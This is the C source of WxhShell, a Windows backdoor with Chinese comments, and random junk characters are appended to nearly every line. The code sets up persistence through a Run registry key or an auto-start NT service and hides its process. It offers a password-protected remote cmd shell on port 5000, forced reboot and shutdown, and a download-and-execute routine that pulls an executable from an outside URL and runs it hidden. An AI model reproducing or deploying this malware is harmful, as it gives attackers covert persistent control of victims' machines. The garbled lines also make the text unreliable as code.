    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MTr _8tI  
    if(Boot(SHUTDOWN)) b%AYYk)d?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X!r!lW  
    else { zm"&8/l  
    closesocket(wsh); ${`\In_?O  
    ExitThread(0); XxV]U{i!  
    } qbB.Z#w  
    break; 3fpX  
    } GJ!usv u  
  // 获取shell x< imMJ  
  case 's': {  d+=;sJ  
    CmdShell(wsh); y![h  
    closesocket(wsh); W&G DE  
    ExitThread(0); x'}{^'}/  
    break; m`n51i{U  
  } !5x"d7  
  // 退出 F YcC2TM  
  case 'x': { CKj3-rcF(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |`#[jHd  
    CloseIt(wsh); Ie``W b=  
    break; p_tMl%K  
    } =$f xK  
  // 离开 O>H4hp  
  case 'q': { \}Hk`n)Aq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b@nbXm]Z  
    closesocket(wsh); S&@~F|  
    WSACleanup(); ;b(/PH!O  
    exit(1); ZN^9w"A  
    break; 0!xD+IA!8  
        } g~N)~]0{  
  } ~KEnZa0  
  } U edh4qa  
>C@fSmnOM  
  // 提示信息 a ipvG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4ajBMgD]KG  
} -j<m0XUQ  
  } S tn[M|  
y=-d*E  
  return; ^k~{6S,  
} >pz/wTOi  
/ZX8gR5x  
// shell模块句柄 +STT(bMn  
int CmdShell(SOCKET sock) VAV@Qn  
{ I C7n;n9  
STARTUPINFO si; Wu%;{y~#}  
ZeroMemory(&si,sizeof(si)); G| ^tqI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }?"f#bI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yU&A[DZQ  
PROCESS_INFORMATION ProcessInfo; 90M:0SH  
char cmdline[]="cmd"; ]oZ$,2#;~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h|_G2p^J+"  
  return 0; M`A bH19  
} 4{*K%pv\  
;z!~-ByzL  
// 自身启动模式 m&b!\"0  
int StartFromService(void) .b5B7 x}  
{ Ywlym\ [+  
typedef struct =v1s@5 ;~  
{ R>#T {<<L  
  DWORD ExitStatus; t:$p8qR  
  DWORD PebBaseAddress; @~/LsYA:  
  DWORD AffinityMask; 1,BtOzuRo  
  DWORD BasePriority; QR<IHE{~8  
  ULONG UniqueProcessId; yP~D."  
  ULONG InheritedFromUniqueProcessId; l{vi{9n)  
}   PROCESS_BASIC_INFORMATION; X2Y-TE T  
amgYr$)m  
PROCNTQSIP NtQueryInformationProcess; NcRY Ch  
QfRt3\^`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mLKwk6I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v:<u0B-)$  
j =[Td   
  HANDLE             hProcess; g7#_a6  
  PROCESS_BASIC_INFORMATION pbi; D6c4tA^EO  
8V.x%T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dAohj QH:  
  if(NULL == hInst ) return 0; d(42ob.Tr  
>lN{FJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r!#NFek}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ln#Lx&r;|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A.*}<  
)=ZWn,ZB  
  if (!NtQueryInformationProcess) return 0; xs+MvXTC  
^BSMlKyB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wQ@@|Cj4L  
  if(!hProcess) return 0; ZN',=&;n'  
5H`k$[3V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?ZE1>L7e  
FtT+Q$q=  
  CloseHandle(hProcess); (Kv[~W7lb  
a{,EX[~b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $nBzYRc"3  
if(hProcess==NULL) return 0; jja9:$#  
=)(sN"%  
HMODULE hMod; og!Uq]U/y  
char procName[255]; u%3Z +[  
unsigned long cbNeeded; \<a(@#E*~  
qtD3<iWV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 67')nEQ9  
sR ~1J4  
  CloseHandle(hProcess); zT`LPs6T  
K%$%9y  
if(strstr(procName,"services")) return 1; // 以服务启动 , B h[jb`y  
)# M*@e$k  
  return 0; // 注册表启动 :1s6h%evrT  
} '72ZLdi}-  
.pr-  ^  
// 主模块 -@<k)hWr  
int StartWxhshell(LPSTR lpCmdLine) >Ix)jSNLgo  
{ 9^3y\@ m  
  SOCKET wsl; 7YkxIzE  
BOOL val=TRUE; n<y!@p^X  
  int port=0; ]7fqVOiOu  
  struct sockaddr_in door; J'.U+XU  
S_ e }>-  
  if(wscfg.ws_autoins) Install(); sGc4^Z%l?  
n\ZDI+X  
port=atoi(lpCmdLine); 9=K=gfZ  
1j9.Q;9  
if(port<=0) port=wscfg.ws_port; a&M{y  
Ik(TII_  
  WSADATA data; X+ h|sy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; km4::'(6  
t/#[At5p=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =uIu0_v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9^c\$"2B  
  door.sin_family = AF_INET; zgJ%Zr!~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cc Z A  
  door.sin_port = htons(port); *3s4JK  
Y*dzoN.sW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4-lEo{IIM  
closesocket(wsl); d {T3  
return 1; 3QL'uk  
} htq#( M  
1#&*xF "  
  if(listen(wsl,2) == INVALID_SOCKET) { 3z!\Z[  
closesocket(wsl); BJ@tU n  
return 1; K9;pX2^z9  
} 8m2-fuJz  
  Wxhshell(wsl); =pF 6  
  WSACleanup(); #,0%g 1  
.UU BAyjm  
return 0; oZA?}#DRl  
K\`L>B. 1  
} #y~^!fdp9  
x$cs_q]J  
// 以NT服务方式启动 GBGGV#_q'}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?Xx,[Z&  
{ (sq4  
DWORD   status = 0; ??CtmH  
  DWORD   specificError = 0xfffffff; o>';-} E  
2$jTj<.K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z1wN+Y.CA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oL2|@WNj,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o=X6PoJ N_  
  serviceStatus.dwWin32ExitCode     = 0; {]n5h#c 5*  
  serviceStatus.dwServiceSpecificExitCode = 0; 1t WKH  
  serviceStatus.dwCheckPoint       = 0; ^EPM~cEY\  
  serviceStatus.dwWaitHint       = 0; 6OkN(tL&.  
pkWzaf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =P<gZ-Cm  
  if (hServiceStatusHandle==0) return; Wt"fn&R}  
A<C`JN}  
status = GetLastError(); :lcZ )6&S  
  if (status!=NO_ERROR) S2HGf~rE  
{ &s>HiL>f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "~jt0pp  
    serviceStatus.dwCheckPoint       = 0; .#2YJ~  
    serviceStatus.dwWaitHint       = 0; Q *![u5#  
    serviceStatus.dwWin32ExitCode     = status; \`-/\N  
    serviceStatus.dwServiceSpecificExitCode = specificError; >sv|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y<.0+YL-e+  
    return; \H!E CTI  
  } @V Bv}Jo  
w*Vf{[a'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #(mm6dj  
  serviceStatus.dwCheckPoint       = 0; s/ibj@h  
  serviceStatus.dwWaitHint       = 0; ;\DXRKR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + G#qS1  
} y ]xG@;4M  
:[3{-.c  
// 处理NT服务事件,比如:启动、停止 bJj <xjBM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .3l'&".'  
{ )2C_6eR  
switch(fdwControl) g>_lU vSE  
{ K, ae-#wgb  
case SERVICE_CONTROL_STOP: OW<i"?0  
  serviceStatus.dwWin32ExitCode = 0; k6_RJ8I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HeZ! "^w  
  serviceStatus.dwCheckPoint   = 0; }#ZQ\[  
  serviceStatus.dwWaitHint     = 0; RY2`v pv  
  { t,4q]Jt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Lv eZ_h5  
  } lpQsmd#  
  return; ~+d?d6*c  
case SERVICE_CONTROL_PAUSE: ( {ads_l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XO~xbG7>gZ  
  break; T]l_B2.  
case SERVICE_CONTROL_CONTINUE: yd2v_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3/RmJ `c{  
  break; h@7S hp  
case SERVICE_CONTROL_INTERROGATE: wXIsc;  
  break; awQ f$  
}; =W"BfG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v|C)Q %v  
} * xdS<  
lG;RfDI-  
// 标准应用程序主函数 X3vTyIsn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uvz}qH@j/Q  
{ eN fo8xUG  
b*S :wfw  
// 获取操作系统版本 Ml1yk)3G  
OsIsNt=GetOsVer(); -g(&5._,ZW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uh*b[`e  
2T3v^%%j  
  // 从命令行安装 {|c <8  
  if(strpbrk(lpCmdLine,"iI")) Install(); |FG t'  
b&f;p}C24  
  // 下载执行文件 `d2}>  
if(wscfg.ws_downexe) { M)C. bo{p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }2:/&H'  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y O;N9wu3f  
} Sd'!(M^k3  
/PH+K24v~  
if(!OsIsNt) { u0`~ |K  
// 如果时win9x,隐藏进程并且设置为注册表启动 B- =*"H?q  
HideProc(); -(V]knIF  
StartWxhshell(lpCmdLine); 2qLRcA=R  
} ) E.KB6  
else /~)vma1<  
  if(StartFromService()) rs2G{a  
  // 以服务方式启动 uF_gfjR[m  
  StartServiceCtrlDispatcher(DispatchTable); -e_ IDE  
else 9`yG[OA  
  // 普通方式启动 t<mT=(zt*  
  StartWxhshell(lpCmdLine); t$^1A1Ef  
[,e[~J`C  
return 0; m:CiXM   
} A rC4pT   
,7,x9qE"  
7Gd)=Q{uur  
AD^9?Z  
=========================================== N>!RKf:ir  
I9O!CQCTt  
+O>!x#)&"  
,TPNsz|Q  
s1. YH?A;  
S G|``}OA  
" Tu2BQ4\[  
Fn.wd`'0  
#include <stdio.h> E,&BP$B  
#include <string.h> ig:,:KN  
#include <windows.h> A ^@:Ps  
#include <winsock2.h> P -0  
#include <winsvc.h> 9r=@S  
#include <urlmon.h> XF(0>-  
L/dG 0a@1X  
#pragma comment (lib, "Ws2_32.lib") j3jf:7 /\  
#pragma comment (lib, "urlmon.lib") flDe*F^  
1^ZQXUzl%i  
#define MAX_USER   100 // 最大客户端连接数 (oO*|\9u  
#define BUF_SOCK   200 // sock buffer :c3}J<Z  
#define KEY_BUFF   255 // 输入 buffer Nv}'"V>  
a<9gD,]P  
#define REBOOT     0   // 重启 Q= IA|rN  
#define SHUTDOWN   1   // 关机 G&$+8 r  
]o`qI#{R~R  
#define DEF_PORT   5000 // 监听端口 ~&B{"d  
@9~a3k|  
#define REG_LEN     16   // 注册表键长度 VcKufV'  
#define SVC_LEN     80   // NT服务名长度 1CK}XLdr  
F`KA^ZI  
// 从dll定义API ,DsqKXSU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rKEi1b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +>mbBu!7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lsv[@Rl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]Tk3@jw+b  
I:l<t*  
// wxhshell配置信息 T[*1*303  
struct WSCFG { Z ? `  
  int ws_port;         // 监听端口 yx?Z&9z <  
  char ws_passstr[REG_LEN]; // 口令 "\M16N  
  int ws_autoins;       // 安装标记, 1=yes 0=no b@j**O>[q)  
  char ws_regname[REG_LEN]; // 注册表键名 ^Uss?)jN4  
  char ws_svcname[REG_LEN]; // 服务名 17g\XC@ Cl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S^0Po%d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aC:Sy^Tf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5q?2?j/h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D# |+PG7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ))f%3_H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 % B+W#Q`  
Si#I^aF`%  
}; KPO?eeT.WZ  
C5oslP/@  
// default Wxhshell configuration sUA==k  
struct WSCFG wscfg={DEF_PORT, 9a}rE  
    "xuhuanlingzhe", <?UbzT7X  
    1, 1%~yb Q  
    "Wxhshell", EUH&"8 L  
    "Wxhshell", ^_W+  
            "WxhShell Service", &5>R>rnB  
    "Wrsky Windows CmdShell Service", *ub]M3O  
    "Please Input Your Password: ", 88(h`RGMh  
  1, h?E[28QB  
  "http://www.wrsky.com/wxhshell.exe", Gq%q x4  
  "Wxhshell.exe" 3\_ae2GW  
    }; KP{|xQ>  
B1dVHz#  
// 消息定义模块 7x` dEi<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T\7z87Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w@w(AFV9/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i}teY{pyc  
char *msg_ws_ext="\n\rExit."; s;V~dxAiv  
char *msg_ws_end="\n\rQuit."; KW.*LoO  
char *msg_ws_boot="\n\rReboot..."; v5 STe`  
char *msg_ws_poff="\n\rShutdown..."; 9}p>='  
char *msg_ws_down="\n\rSave to "; .?{rd3[ec  
-4ityS @  
char *msg_ws_err="\n\rErr!"; ^uB9EP*P  
char *msg_ws_ok="\n\rOK!"; ?m.WqNBH7  
S9/oBxGN  
char ExeFile[MAX_PATH]; ~\_aT2j0  
int nUser = 0; cojtQ D6  
HANDLE handles[MAX_USER]; (T;4'c  
int OsIsNt; ?/ xk  
gz fs9e  
SERVICE_STATUS       serviceStatus; |iN!V3#S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hTgWqp  
PwP;+R};|  
// 函数声明 :pj 00  
int Install(void); A&EVzmj-+X  
int Uninstall(void); Cm@e^l!  
int DownloadFile(char *sURL, SOCKET wsh); DM {r<?V  
int Boot(int flag); $:IOoS|e  
void HideProc(void); ~ [L4,q  
int GetOsVer(void); l&3f<e  
int Wxhshell(SOCKET wsl); NIZ N}DnP  
void TalkWithClient(void *cs); %Jy0?WN  
int CmdShell(SOCKET sock); h^_Sd"l3  
int StartFromService(void); ~2 L{m[s|  
int StartWxhshell(LPSTR lpCmdLine); `4^-@}  
E"d\N-I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _<tWy+.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :|cC7, S  
X(s HFVU+  
// 数据结构和表定义 Hy4c{Ij  
SERVICE_TABLE_ENTRY DispatchTable[] = kA3nhBH  
{ 5(BB`)  
{wscfg.ws_svcname, NTServiceMain}, q@K8,=/.#  
{NULL, NULL} !RX\">z  
}; 05= $Dnv  
<T]BSQk  
// 自我安装 ZlaU+Y(_[  
int Install(void) 7ux0|l  
{ {OFbU  
  char svExeFile[MAX_PATH]; cp D=9k!*K  
  HKEY key; 0($@9k4!/  
  strcpy(svExeFile,ExeFile); [O)(0  
g\9I&z~?  
// 如果是win9x系统,修改注册表设为自启动 _dQVundH  
if(!OsIsNt) { q\+khy,k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZ{YQ}t{^1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S$9>9!1>*  
  RegCloseKey(key); -+vA9,pI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W(jXOgs+_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B~S"1EE[  
  RegCloseKey(key); _X ?W)]:  
  return 0; LxD >eA  
    } wHneVqI/U  
  } \HR<^xY  
} FR%9Qb7  
else { zadn`B#2  
Md!L@gX6<  
// 如果是NT以上系统,安装为系统服务 b| e7mis@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yGGQ;!/  
if (schSCManager!=0) 7G,{BBB  
{ 1Z9_sd~/6  
  SC_HANDLE schService = CreateService \#1*r'V8  
  ( ]/byz_7]  
  schSCManager, >`\f,yq l6  
  wscfg.ws_svcname, ahezDDR-.i  
  wscfg.ws_svcdisp, 21(8/F ~{  
  SERVICE_ALL_ACCESS, 5R^e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )ro3yq4??  
  SERVICE_AUTO_START, |Z\?nZ~  
  SERVICE_ERROR_NORMAL, o }EipTL  
  svExeFile, >%qk2h>  
  NULL, -P I$SA,  
  NULL, ]IX6>p,  
  NULL, kR+xInDM*  
  NULL, CKC%|xke  
  NULL ii0{$}eoh  
  ); Xx.4K>j+j  
  if (schService!=0) 3O{*~D&n  
  { ?&qa3y)wX:  
  CloseServiceHandle(schService); 1oD1ia#  
  CloseServiceHandle(schSCManager); |jh&a+4W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c eH8  
  strcat(svExeFile,wscfg.ws_svcname); UNx|+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .I~#o$6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZkbaUIQ  
  RegCloseKey(key); Gk"o/]Sf  
  return 0; t(<^of:  
    } K})=&<M0  
  } CcF$?07 i  
  CloseServiceHandle(schSCManager); uJBs3X  
} ;rBd_  
} q> ;u'3}  
PvmmyF  
return 1; }b$?t7Q)  
} G8]DK3#  
j$2rU'  
// 自我卸载 cJ CKxj  
int Uninstall(void) _e2=BE`W)  
{ OR{<)L  
  HKEY key; qG=?+em  
977%9z<h  
if(!OsIsNt) { c~_nO d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 96L-bBtyY  
  RegDeleteValue(key,wscfg.ws_regname); 1|]IWX|  
  RegCloseKey(key); Vjv~RNGF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 _A B; ^  
  RegDeleteValue(key,wscfg.ws_regname); nC-=CMWWr  
  RegCloseKey(key); k,) xv?  
  return 0; zWN/>~}U \  
  } $P=B66t ^  
} + F{hFuHV  
} D'{NEk@  
else { 4CUoXs'  
2(SU# /,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <>gX'te  
if (schSCManager!=0) TH;kJ{[}  
{ &E{CQ#k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8$!&D&v  
  if (schService!=0) Qqp_(5S|>  
  { 4*j6~  
  if(DeleteService(schService)!=0) { &m=GkK  
  CloseServiceHandle(schService); dA)JR"r2  
  CloseServiceHandle(schSCManager); o'oA.'ul  
  return 0; U9?fUS  
  } % oPt],>  
  CloseServiceHandle(schService); {P'_s ]B)  
  } xiWP^dIF  
  CloseServiceHandle(schSCManager); &U_YDUQ'L  
} Ry$zF~[   
} s} I8:ufT  
W0zRV9"P  
return 1; ]xx}\k  
} W6e,S[J^FY  
i~};5j(  
// 从指定url下载文件 ]lX`[HX7  
int DownloadFile(char *sURL, SOCKET wsh) xz$-_NWW  
{ (-<s[VnXP  
  HRESULT hr; Y/%(4q*'  
char seps[]= "/"; GnX+.uQL|  
char *token; jTR>H bh  
char *file; }9Th`   
char myURL[MAX_PATH]; (D.B'V#>  
char myFILE[MAX_PATH]; :,@"I$>*/  
q=EHB5!q  
strcpy(myURL,sURL); A` 'k5uG  
  token=strtok(myURL,seps); $#ve^.VHv  
  while(token!=NULL) G_vcuCHm  
  { _1c0pQ^}3  
    file=token; ?S*Cvr+=4  
  token=strtok(NULL,seps); _u[2R=h  
  } 1g{-DIOmn  
Nldy76|g  
GetCurrentDirectory(MAX_PATH,myFILE); u<g0oEs)  
strcat(myFILE, "\\"); r<%ua6@  
strcat(myFILE, file); H^VNw1.   
  send(wsh,myFILE,strlen(myFILE),0); lQ8h-Tz  
send(wsh,"...",3,0); h_( #U)z_3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /?ZO-]q  
  if(hr==S_OK) BR*'SF\T  
return 0; K@f@vyw]  
else ifXGH>C  
return 1; L:.z FW,  
Bf21u 9  
} xJ$/#UdP  
; ,vGw <|o  
// 系统电源模块 ;u(#-C2^{l  
int Boot(int flag) *]7$/%.D  
{ Cr7T=&L  
  HANDLE hToken; 6YHQ/#'G~  
  TOKEN_PRIVILEGES tkp; 5 O't-'  
.jXD0~N8q  
  if(OsIsNt) { Kl Kk?6 >  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8gHOs#\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 483/ZgzT`  
    tkp.PrivilegeCount = 1; Nv~H797B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iL$~d@AEn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FI(iqSJ6  
if(flag==REBOOT) { d3[O!4<T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >=6 j:  
  return 0; <Jf[N=  
} |3bCq(ZR\P  
else { s3/iG37K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nF)b4`Nd  
  return 0; Uh w:XV@m  
} f`gs/R  
  } qk{+Y  
  else { @W1F4HYds  
if(flag==REBOOT) { m8T< x>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n9%&HDl4  
  return 0; b2tUJ2p  
} ppP0W `p  
else { HM]mOmL90N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RPB%6z$  
  return 0; t:O"t G  
} KLBX2H2^0  
} 7'g{:dzS*3  
=pCO1<wR  
return 1; Wik8V0(  
} J#*%r)  
;:]#Isq  
// win9x进程隐藏模块 3J_B uMV  
void HideProc(void) (-[73v-w  
{ 4Zn"K}q  
tkX?iqKQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); obz|*1M?  
  if ( hKernel != NULL ) ubQbEv{(,  
  { WAUgbImc{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xl %ax!/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )ppIO"\  
    FreeLibrary(hKernel); c-y`Hm2"  
  } '@{Mq%`  
BY5ODc$  
return; {8pN]=SaJ~  
} #]kO/Mr  
RYyM;<9F  
// 获取操作系统版本 p.|M:C\xL  
int GetOsVer(void) q2e=(]rKE{  
{ ZnAXb S  
  OSVERSIONINFO winfo; T!%J x.^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X-<l+WP  
  GetVersionEx(&winfo); JC.nfxG@:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nJhaI  
  return 1; c9:8KMF)  
  else ~QngCg-5q  
  return 0; d=DQS>Nz  
} VsQ~Y,7  
Fz{T;  
// 客户端句柄模块 i}gsxq%  
int Wxhshell(SOCKET wsl) 'Z8=y[l  
{ #8/pYQ;  
  SOCKET wsh; V^%P}RFMc  
  struct sockaddr_in client; }pJLK\  
  DWORD myID; DLH|y%"  
vACJE  
  while(nUser<MAX_USER) \(&UDG$  
{ :[J'B4>9  
  int nSize=sizeof(client); mv{bX|.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G -V~6  
  if(wsh==INVALID_SOCKET) return 1;  va [r~  
T&nIH[}v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ".7\>8A#a  
if(handles[nUser]==0) 8)ykXx/f@  
  closesocket(wsh); Pk{%2\%&2  
else d#CAP9n;'  
  nUser++; &e \UlM22  
  }  X]4j&QB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]S 3l' "  
IKVFbTX:y  
  return 0; 4q)+nh~s  
} JFu9_=%+  
"O/ 6SV  
// 关闭 socket dqgH"g  
void CloseIt(SOCKET wsh) 6FkBb !ASk  
{ #SX-Y)> 1@  
closesocket(wsh); O?$]/d  
nUser--; ?Q~o<%U7  
ExitThread(0); IAi|4,y_L  
} /@?lV!QiO  
Fv-~v&  
// 客户端请求句柄 \A 5Na-/9  
void TalkWithClient(void *cs) o/hj~;(]  
{ ugzrG0=lx  
uqvS  
  SOCKET wsh=(SOCKET)cs; ctMH5"F&1  
  char pwd[SVC_LEN]; -BC`p 8  
  char cmd[KEY_BUFF]; %+iAL<S  
char chr[1]; \YPv pUg  
int i,j; _P9*78  
<!q_C5>XJ  
  while (nUser < MAX_USER) { D@)L?AB1f  
57Bxx__S4`  
if(wscfg.ws_passstr) { JqV}>"WMV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fb8)jd'~}O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Om(Ir&0  
  //ZeroMemory(pwd,KEY_BUFF); Ez / W$U  
      i=0; MNf^ml[  
  while(i<SVC_LEN) { 1G8,Eah  
%J8uVD.2  
  // 设置超时 Ip |=NQL>  
  fd_set FdRead; k_`h (R  
  struct timeval TimeOut; U&W/Nj  
  FD_ZERO(&FdRead); UaB2vuL*=  
  FD_SET(wsh,&FdRead); j@R"AP}  
  TimeOut.tv_sec=8; * .g[vCy  
  TimeOut.tv_usec=0; @a i2A|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9y*2AaxW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t 7D~JAx6  
6[,7g&C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @77+K:9I 7  
  pwd=chr[0]; $ZkT G  
  if(chr[0]==0xd || chr[0]==0xa) { i`w)dS  
  pwd=0; t=fr`|!  
  break; w!jY(WK U  
  } PlR$s  
  i++; EE-wi@  
    } phR:=Ox|1  
89j*uT  
  // 如果是非法用户,关闭 socket >P ~j@Lv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P)O:lYX  
} ^Rh}[  
biPj(Dd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +DaKP)H\:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^<3{0g-"AW  
2B"tT"f  
while(1) { bwI"V&*  
+ryB*nT  
  ZeroMemory(cmd,KEY_BUFF); M'VJE|+t  
hi/Z>1ZOX  
      // 自动支持客户端 telnet标准   (aLjW=  
  j=0; n&2OfBJ  
  while(j<KEY_BUFF) { tgj 5l#P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?)H:.]7-x  
  cmd[j]=chr[0]; Sd/7#  
  if(chr[0]==0xa || chr[0]==0xd) { vxS4YRb  
  cmd[j]=0; V  n+a-v  
  break; A 8g_BLj!e  
  } *M.,Yoj  
  j++; n#sK31;yb  
    } QO:Z8{21So  
1p8pH$j'  
  // 下载文件 S9[Y1qH>K  
  if(strstr(cmd,"http://")) { 1a mEQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~UHjc0  
  if(DownloadFile(cmd,wsh)) Uy|Tu~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Hw*q|  
  else Qq%~e41ec  
